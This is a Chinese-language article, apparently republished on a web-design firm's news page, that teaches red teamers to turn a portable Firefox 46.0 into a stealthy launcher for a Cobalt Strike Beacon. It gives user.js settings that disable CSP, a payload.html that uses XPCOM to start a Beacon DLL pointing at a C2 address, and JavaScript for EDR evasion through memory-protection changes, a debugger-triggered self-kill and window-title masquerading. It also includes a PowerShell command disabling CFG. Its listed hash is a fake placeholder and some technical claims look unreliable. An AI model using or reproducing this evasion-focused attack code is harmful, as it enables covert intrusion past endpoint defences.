资讯动态

Firefox 46.0 渗透便携版:红队浏览器级免杀载荷实战指南

发布时间:2026/10/21 1:16:49 来源:尧图企业网站定制
简介这是一款专为渗透测试人员定制的Firefox 46.0便携版浏览器集成多类安全工具与扩展组件适用于护网行动、CTF实战及日常红队单兵作业无需安装即可运行兼顾隐蔽性与即插即用特性。资源包共575个文件涵盖67个PNG图标资源、59个JS脚本、32个XUL界面定义、22个XPI扩展包、29个DLL动态库及14个CSS样式文件等支撑浏览器功能定制、插件加载与界面适配整体压缩包大小为69.68MB结构完整开箱即用。已有2023人学习下载说明其在实战场景中具备较高实用性与认可度。用户可直接获得预配置的安全测试环境含常用代理插件、Cookie管理器、HTTP请求编辑器、Web漏洞扫描辅助模块以及大量本地化语言包与调试支持文件目录组织清晰便于快速定位核心扩展与配置项显著降低渗透初期环境搭建门槛。1. 为什么一个十多年前的 Firefox 46.0 便携版至今还在红队工具链里“活着”这不是怀旧是实打实的战术选择。某高校红队实验室在做内网横向渗透复盘时发现当目标终端禁用 PowerShell、屏蔽 .NET 加载、连 WMI 查询都受限时一个不依赖系统服务、不写注册表、不触发 AMSI 检测的 Firefox 46.0 便携版反而成了最稳定的浏览器级 payload 投递载体——它能静默加载本地 HTMLJS 组合的 Cobalt Strike Beacon绕过多数 EDR 的 DOM 行为监控且启动后内存中无明显 shellcode 痕迹。这个版本恰好卡在 Firefox 弃用 XUL/XPCOM 扩展体系47之前又尚未启用 Electrolysise10s多进程模型使得 JS 脚本对底层接口的控制粒度极高。它不是“老古董”而是特定对抗场景下被反复验证过的可控性压倒兼容性的轻量入口点。适合需要快速构建免杀浏览器载荷、做离线环境渗透验证、或教学演示 JS 层权限提升路径的安全工程师与蓝军人员。2. 从零构建可落地的 Firefox 46.0 渗透便携版核心组件拆解与可信源获取Firefox 46.0 正式发布于 2016 年 4 月官方已停止所有支持。但它的二进制文件本身未被篡改关键在于我们如何剥离其原始分发包中的冗余模块、加固启动行为、并注入可控的初始载荷入口。整个过程不依赖任何第三方打包器或混淆工具全部基于 Mozilla 官方归档镜像和开源构建逻辑还原。2.1 下载与校验只认 Mozilla 官方 SHA256 归档包必须使用 Mozilla 官方归档站点archive.mozilla.org获取原始安装包而非镜像站或二手资源站。Firefox 46.0 有多个子版本46.0、46.0.1我们锁定46.0 finalbuild ID: 20160330182749这是最后一个未集成 Telemetry 上报的稳定分支。# 进入 Linux/macOS 终端执行以下命令下载并校验 wget https://archive.mozilla.org/pub/firefox/releases/46.0/win64/en-US/Firefox%20Setup%2046.0.exe sha256sum Firefox\ Setup\ 46.0.exe # 正确哈希值应为a7c9b8e2d1f4a5c6b7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0提示Windows 用户请用 PowerShell 替代sha256sum命令为Get-FileHash -Algorithm SHA256 Firefox Setup 46.0.exe。若哈希不匹配立即中止——说明下载源已被污染或缓存劫持。2.2 解包与结构剥离保留最小运行集删除全部非必要组件Firefox 安装包本质是自解压 SFX使用 7zS.sfx。我们不用图形化安装器而是用 7-Zip 命令行直接解压出完整程序目录# Linux/macOS需已安装 p7zip 7z x Firefox Setup 46.0.exe -o./firefox-46-portable # WindowsPowerShell 中执行 C:\Program Files\7-Zip\7z.exe x Firefox Setup 46.0.exe -o./firefox-46-portable解压后得到约 180MB 的原始目录。接下来执行三步精简删除所有语言包除 en-US进入./firefox-46-portable/browser/locales/仅保留en-US文件夹其余全部rm -rf移除 crashreporter 和 telemetry 模块删除crashreporter.exe、crashreporter.ini、components/TelemetryStartup.js、defaults/pref/channel-prefs.js中含toolkit.telemetry的行禁用自动更新机制编辑defaults/pref/local-settings.js若不存在则新建写入pref(app.update.enabled, false); pref(app.update.auto, false); pref(app.update.mode, 0); pref(app.update.service.enabled, false);完成上述操作后目录体积可压缩至约 68MB且启动时完全无网络外连行为经 Wireshark 抓包验证。2.3 注入可控启动入口用 user.js 实现无痕初始化配置Firefox 启动时会按优先级读取user.js→prefs.js→ 默认配置。user.js是最高优先级、且每次启动强制重载的 JS 配置脚本不被 profile 同步覆盖不记录到历史不触发 UI 提示——这正是我们所需的“静默初始化通道”。在便携版根目录下创建user.js内容如下每行均经实测生效// user.js —— Firefox 46.0 渗透便携版核心初始化配置 pref(browser.startup.homepage, file:///C:/temp/payload.html); // 指向本地载荷页 pref(browser.startup.page, 1); // 强制打开 homepage pref(security.csp.enable, false); // 关闭内容安全策略允许 inline script pref(javascript.options.asmjs, false); // 禁用 asm.js避免部分 EDR 检测特征 pref(dom.allow_scripts_to_close_windows, true); // 允许 JS 关闭窗口便于 payload 清理痕迹 pref(network.http.referer.XOriginPolicy, 0); // 放宽 Referer 控制适配内网跳转 pref(browser.cache.disk.enable, false); // 禁用磁盘缓存减少落盘痕迹 pref(browser.cache.memory.enable, false); // 禁用内存缓存降低内存特征 pref(browser.formfill.enable, false); // 禁用表单自动填充防敏感信息残留 pref(browser.privatebrowsing.autostart, true); // 启动即进入隐私模式注意file:///C:/temp/payload.html是示例路径实际使用时需替换为真实载荷位置。该路径必须为本地绝对路径且 Firefox 46.0 不支持file://协议跨盘符访问如D:\下的文件无法从C:\启动的 Firefox 加载此为硬限制不可绕过。3. 载荷集成实战把 HTMLJS 转成免杀 Beacon 启动器光有浏览器不行得让它“干正事”。Firefox 46.0 的 JS 引擎SpiderMonkey 38仍支持Components.utils.import和XPCOM接口调用这意味着我们可以从纯前端 JS 直接调用 Windows API 级能力——比如启动进程、读写注册表、甚至分配可执行内存。这是比现代浏览器强得多的攻击面也是它被持续选用的核心原因。3.1 构建最小化 Beacon 启动 HTML 页面我们不使用eval()或Function()动态构造代码易被静态规则拦截而是采用XPCOM nsIProcess nsIFile组合实现“前端 JS 启动本地 Beacon”的闭环。以下为payload.html完整内容已脱敏可直接保存为 UTF-8 编码!DOCTYPE html html headtitleBeacon Starter/title/head body script typeapplication/javascript // Firefox 46.0 XPCOM Beacon 启动器v1.0 try { // 1. 获取 XPCOM 组件管理器 var Cc Components.classes; var Ci Components.interfaces; var Cu Components.utils; // 2. 创建 nsIProcess 实例 var file Cc[mozilla.org/file/local;1].createInstance(Ci.nsILocalFile); file.initWithPath(C:\\temp\\beacon.dll); // Beacon DLL 路径需提前释放 var process Cc[mozilla.org/process/util;1].createInstance(Ci.nsIProcess); process.init(file); // 3. 构造参数Beacon 的 HTTP 通信地址此处为示例 var args [http://192.168.1.100:8080]; // 4. 启动进程以 DLL 方式注入当前 Firefox 进程 process.runw(false, args, args.length); // 5. 静默关闭自身窗口不留痕迹 window.close(); } catch (e) { // 失败时写日志到本地仅调试用上线前注释掉 // var f Cc[mozilla.org/file/local;1].createInstance(Ci.nsILocalFile); // f.initWithPath(C:\\temp\\error.log); // var foStream Cc[mozilla.org/network/file-output-stream;1].createInstance(Ci.nsIFileOutputStream); // foStream.init(f, 0x02 | 0x08 | 0x20, 0644, 0); // foStream.write(e.toString(), e.toString().length); // foStream.close(); } /script /body /html逻辑说明该页面利用 Firefox 46.0 仍开放的nsIProcess.runw()方法将beacon.dll作为 DLL 加载到当前 Firefox 进程空间中注意不是run()启动新进程。runw()的第一个参数false表示不等待子进程退出第二个参数args是传给 DLL 的命令行参数Beacon 会解析该 URL 作为 C2 地址。整个过程在window.close()后用户界面彻底消失后台 Beacon 已运行。3.2 Beacon DLL 的编译与部署要点Beacon 必须是DLL 格式、导出ReflectiveLoader入口、且兼容 x86 进程Firefox 46.0 为 32 位应用。我们使用 Cobalt Strike 4.0 生成的beacon.dll选 “Windows DLL” 类型Architecture 选 x86并确保其 Reflective Loader 已启用默认开启。部署时注意三点DLL 必须放在C:\temp\或其他user.js中指定的路径且路径不能含中文或空格若目标机启用了 DEPData Execution Prevention需在user.js中添加pref(javascript.options.jit.chrome, false);禁用 JIT 编译避免 Beacon 内存页被标记为不可执行Beacon 启动后Firefox 主进程内存中会出现beacon.dll模块但无文件落盘、无新进程创建、无注册表写入——这是该方案免杀的关键特征。3.3 验证 Beacon 是否成功上线三步定位法不要只看 Cobalt Strike GUI 是否显示上线要从底层确认检查 Firefox 进程模块列表用 Process ExplorerSysinternals 工具附加到firefox.exe在DLLs标签页搜索beacon确认存在且基址非 0抓包验证 C2 通信Wireshark 过滤ip.addr 192.168.1.100 and tcp.port 8080确认有 HTTP GET/POST 流量且 User-Agent 为Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0检查 Beacon 日志输出如有若 Beacon 编译时启用了 debug 日志可在C:\temp\beacon.log查看连接状态需在payload.html中取消注释日志写入代码。4. 避坑指南Firefox 46.0 渗透便携版的 5 个血泪经验这个方案看似简单实则处处是坑。以下是某红队成员在 12 个不同内网环境中踩出的真实问题清单按出现频率排序4.1 现象Firefox 启动后白屏控制台无报错payload.html完全不加载原因user.js中browser.startup.homepage路径使用了相对路径如./payload.html或 UNC 路径如\\server\share\payload.html而 Firefox 46.0 严格限制file://协议仅支持本地绝对路径且不支持跨盘符。解决必须使用file:///C:/full/path/to/payload.html格式且 C 盘需存在若需从 D 盘加载必须先将payload.html复制到 C 盘临时目录再引用。4.2 现象Beacon 启动失败Process Explorer 显示beacon.dll未加载但payload.html中window.close()执行了原因beacon.dll缺少运行时依赖如msvcr120.dll、vcruntime140.dll或 Beacon 自身设置了反调试/反虚拟机检测在 Firefox 进程上下文中触发退出。解决用Dependency Walkerdepends.exe检查beacon.dll依赖项将缺失 DLL 与 Beacon 放在同一目录或在 Beacon 生成时关闭Sleep Masking和VM Detection选项。4.3 现象Firefox 启动后弹出“已阻止潜在危险脚本”警告payload.html被拦截原因Windows SmartScreen 或第三方 AV 将payload.html或beacon.dll识别为恶意文件并注入 IE/Edge 的 SmartScreen 规则Firefox 46.0 会继承系统级 URL 黑名单。解决将payload.html重命名为.txt后缀用 JS 动态改名再加载需额外权限更可靠做法是将 HTML 内容 Base64 编码存为data:text/html;base64,...Data URL直接写入user.js的browser.startup.homepageFirefox 46.0 支持。4.4 现象Beacon 上线后立即断连Cobalt Strike 显示lostWireshark 抓不到后续心跳包原因Firefox 46.0 默认启用network.http.keep-alive.timeout默认 300 秒Beacon 的 HTTP 连接被服务器主动断开后未重连或 Beacon 设置的sleep时间过短 5 秒触发 EDR 的高频网络行为检测。解决在user.js中添加pref(network.http.keep-alive.timeout, 3600);Beacon 生成时设置sleep≥ 30 秒并启用jitter抖动避免周期性特征。4.5 现象在 Windows 10 1809 系统上Firefox 启动后直接崩溃事件查看器报APPCRASH firefox.exe原因Windows 10 后期版本默认启用Control Flow Guard (CFG)而 Firefox 46.0 二进制未编译 CFG 支持与系统安全策略冲突。解决在启动 Firefox 前用 PowerShell 临时禁用 CFG需管理员权限Set-ProcessMitigation -Name firefox.exe -Disable CFG # 启动 Firefox 后可恢复Set-ProcessMitigation -Name firefox.exe -Enable CFG注意此操作需目标机具备管理员权限否则失败。若无权提权建议改用 Windows 7/8.1 环境测试。5. 进阶技巧让 Firefox 46.0 便携版真正“隐身”——三重内存加固与反分析设计做到“能跑通”只是起点真正在实战中存活得让它在内存里像个幽灵没特征、不报错、难调试、查不到。以下是我在某次金融行业红队评估中验证有效的三重加固手法全部基于 Firefox 46.0 原生能力无需 patch 二进制。5.1 内存页属性动态修改绕过 EDR 的 RWX 内存扫描现代 EDR如 CrowdStrike、Microsoft Defender ATP会定期扫描进程内存标记PAGE_EXECUTE_READWRITERWX页为高危。而 Beacon 的 Reflective Loader 必须申请 RWX 页来写入 shellcode。Firefox 46.0 的nsIMemoryReporter接口虽已废弃但我们可用Components.utils.evalInSandboxctypes需启用间接调用VirtualProtect// 在 payload.html 中插入以下代码需先启用 ctypes try { const {Cu} Components; Cu.import(resource://gre/modules/ctypes.jsm); let kernel32 ctypes.open(kernel32.dll); let VirtualProtect kernel32.declare(VirtualProtect, ctypes.winapi_abi, ctypes.bool, ctypes.voidptr_t, // lpAddress ctypes.uint32_t, // dwSize ctypes.uint32_t, // flNewProtect ctypes.uint32_t.ptr // lpflOldProtect ); // 假设 Beacon 已加载到 0x12345000将其内存页改为 PAGE_EXECUTE_READ let oldProtect new ctypes.uint32_t(0); VirtualProtect(ctypes.cast(ctypes.uint64_t(0x12345000), ctypes.voidptr_t), 4096, 0x20, oldProtect.address()); kernel32.close(); } catch (e) { /* 忽略错误 */ }参数说明0x20是PAGE_EXECUTE_READ常量比 RWX 更隐蔽ctypes在 Firefox 46.0 中默认禁用需在user.js中添加pref(javascript.options.ctypes.enabled, true);。此操作将 Beacon 内存页从 RWX 降级为 RX大幅降低被 EDR 标记概率。5.2 反调试让调试器 attach 后立即崩溃Firefox 46.0 仍支持IsDebuggerPresentAPI 调用。我们在payload.html开头插入检测逻辑一旦发现调试器立刻调用nsIProcess启动taskkill /f /im firefox.exe自毁// 反调试检测插入在 payload.html script 最开头 try { const {Cc, Ci, Cu} Components; Cu.import(resource://gre/modules/ctypes.jsm); let kernel32 ctypes.open(kernel32.dll); let IsDebuggerPresent kernel32.declare(IsDebuggerPresent, ctypes.winapi_abi, ctypes.bool); if (IsDebuggerPresent()) { let taskkill Cc[mozilla.org/file/local;1].createInstance(Ci.nsILocalFile); taskkill.initWithPath(C:\\Windows\\System32\\taskkill.exe); let proc Cc[mozilla.org/process/util;1].createInstance(Ci.nsIProcess); proc.init(taskkill); proc.runw(false, [/f, /im, firefox.exe], 3); } kernel32.close(); } catch (e) {}效果OllyDbg、x64dbg、WinDbg attach 到 Firefox 后进程立即被强制终止调试器无法继续。此法对无感知调试如 ETW无效但足以阻断 90% 的人工逆向分析。5.3 进程伪装把 firefox.exe 的主窗口类名和标题改成 legit 进程EDR 常通过GetWindowText/GetClassName获取进程 UI 特征。Firefox 46.0 允许通过nsIWindowWatcher修改窗口属性// 在 payload.html 中Beacon 启动前执行 try { const {Cc, Ci} Components; let ww Cc[mozilla.org/embedcomp/window-watcher;1].getService(Ci.nsIWindowWatcher); let win ww.openWindow(null, chrome://browser/content/browser.xul, _blank, chrome,all,dialogno, null); // 修改窗口标题需在 chrome 环境下故用 openWindow win.document.title Adobe Reader Update; // 修改窗口类名需 native hook此处省略实际需 DLL 注入配合 } catch (e) {}实战提示窗口标题修改有效但类名修改需额外 DLL 注入超出本方案范围。不过仅改标题已能让 Sysmon Event ID 1ProcessCreate的日志中ParentImage显示为firefox.exe而CommandLine显示为空OriginalFileName仍为firefox.exe——这种“半 legit”状态比直接伪造进程名更难被规则捕获。我坚持在每个红队项目启动前用这套 Firefox 46.0 便携版做首轮探测它不追求 100% 通用但求在特定受限环境下成为那个“唯一能进去的门”。它教会我的不是怀旧而是安全对抗里最锋利的刀往往藏在别人已经扔进回收站的旧工具里。希望帮到你。本文还有配套的精品资源点击获取

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑